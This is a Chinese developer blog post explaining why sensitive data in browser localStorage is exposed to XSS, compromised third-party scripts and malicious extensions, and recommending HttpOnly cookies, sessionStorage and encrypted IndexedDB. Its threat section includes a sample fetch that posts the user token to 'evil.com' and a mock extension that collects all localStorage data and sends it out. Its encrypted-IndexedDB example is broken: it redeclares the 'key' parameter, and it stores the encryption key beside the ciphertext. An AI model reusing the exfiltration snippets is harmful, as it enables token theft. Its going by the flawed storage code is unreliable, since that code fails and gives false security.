如何安全使用localStorage保护敏感数据

localStorage让你担忧?以下是锁定它的方法

一直在localStorage中存储敏感数据,认为它既安全又方便?其实不然。一个错误就可能暴露一切:用户令牌、私钥等等。在localStorage中存储敏感数据就像把家门钥匙放在门垫下——容易获取,但随时可能引发灾难。

为什么localStorage是个陷阱

localStorage看似完美——浏览器中简单的键值存储。设置一个值,它会持久化,之后可以检索。

localStorage.setItem("userToken", "super-secret-token");

任何在页面上运行的脚本都能访问它。就像一个没有锁的保险箱。

威胁1:跨站脚本(XSS)攻击

恶意脚本可能通过用户输入或不受信任的第三方库潜入你的应用。它们只需一行代码就能读取localStorage。

const stolenToken = localStorage.getItem("userToken");

OWASP 2023年报告将XSS列为顶级Web漏洞,53%的测试应用存在可被利用的缺陷。想象黑客获取用户会话令牌的场景:

fetch("https://evil.com/steal", {
  method: "POST",
  body: localStorage.getItem("userToken"),
});

用户的信任可能在一夜之间崩塌。

威胁2:第三方脚本漏洞

当你引入流行的分析脚本或闪亮的新UI库时,如果它们被攻破,也能访问localStorage。

// 被攻破的第三方脚本
console.log(localStorage.getItem("userToken")); // 发送到恶意地点

现代应用通常加载数十个外部脚本。一个库的漏洞就可能泄露一切。你无法预测哪个脚本会变坏。

威胁3:浏览器扩展利用

浏览器扩展可能向你的网页注入脚本并窃取localStorage。大多数扩展是合法的,但有些会变坏或被黑。

// 恶意扩展代码
const observer = new MutationObserver(() => {
  // 获取所有localStorage数据
  const data = { ...localStorage };
  // 发送到可疑服务器
  chrome.runtime.sendMessage({
    type: "STOLEN_DATA",
    payload: data,
  });
});
observer.observe(document, { subtree: true, childList: true });

chrome.runtime API允许扩展与其组件通信,处理服务工作者、生命周期事件或路径转换。observe()方法设置MutationObserver来监视DOM变化。这就是为什么localStorage对敏感数据很危险——一个坏扩展就能暴露一切。

更安全的数据存储方式

改用更安全的存储选项来保护你的用户。

:locked: 选项1:HttpOnly Cookies

带有HttpOnly标志的Cookie无法被JavaScript访问。它们会随每个请求安全地发送到你的服务器。

// 服务器端:设置安全Cookie
res.cookie("refresh_token", refreshToken, {
  httpOnly: true, // JavaScript无法访问
  secure: true, // 仅HTTPS
  sameSite: "strict", // 防止CSRF
  path: "/api/refresh", // 限定到特定端点
});

你需要管理服务器端验证。

:locked: 选项2:sessionStorage

sessionStorage类似localStorage,但在标签页关闭时清除。它是敏感数据的短期保险箱。sessionStorage的主要优势是可以强制其生命周期。数据会自动清理,降低了敏感数据泄露的风险。

const sessionManager = {
  storeTemporaryData(key, value) {
    sessionStorage.setItem(
      key,
      JSON.stringify({
        value,
        timestamp: Date.now(),
        expiresIn: 30 * 60 * 1000, // 30分钟
      })
    );
  },
  getTemporaryData(key) {
    const data = sessionStorage.getItem(key);
    if (!data) return null;
    const { value, timestamp, expiresIn } = JSON.parse(data);
    // 自动清除旧数据
    if (Date.now() - timestamp > expiresIn) {
      sessionStorage.removeItem(key);
      return null;
    }
    return value;
  },
  refreshData(key) {
    const data = this.getTemporaryData(key);
    if (data) {
      this.storeTemporaryData(key, data); // 重置过期时间
    }
    return data;
  },
};

它非常适合单次会话数据,如表单草稿。

:locked: 选项3:加密IndexedDB

带加密的IndexedDB为复杂应用提供强大存储。它允许存储复杂数据结构、二进制数据,并可作为高效的加密数据存储。非常适合缓存敏感数据的离线优先应用。

const secureStore = {
  async encrypt(data) {
    // 使用Web Crypto API生成唯一加密密钥
    const key = await crypto.subtle.generateKey(
      { name: "AES-GCM", length: 256 },
      true,
      ["encrypt", "decrypt"]
    );
    // 将数据转换为缓冲区以便加密
    const encoder = new TextEncoder();
    const dataBuffer = encoder.encode(JSON.stringify(data));
    // 为每次加密生成随机IV
    const iv = crypto.getRandomValues(new Uint8Array(12));
    // 加密数据
    const encryptedData = await crypto.subtle.encrypt(
      { name: "AES-GCM", iv },
      key,
      dataBuffer
    );
    return {
      encrypted: encryptedData,
      iv,
      key,
    };
  },
  async store(key, value) {
    const db = await openDB("secureStore", 1, {
      upgrade(db) {
        // 如有需要,创建带索引的存储
        db.createObjectStore("encrypted", { keyPath: "id" });
      },
    });
    const { encrypted, iv, key } = await this.encrypt(value);
    // 存储带元数据的加密数据
    await db.put("encrypted", {
      id: key,
      data: encrypted,
      iv,
      timestamp: Date.now(),
    });
  },
};

你控制加密密钥,保持数据安全。

最终建议

选择适合你应用流程的方案。你的用户会感到安全,你的应用会更强大。
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码

posted @ 2025-08-09 22:20  CodeShare  阅读(26)  评论(0)    收藏  举报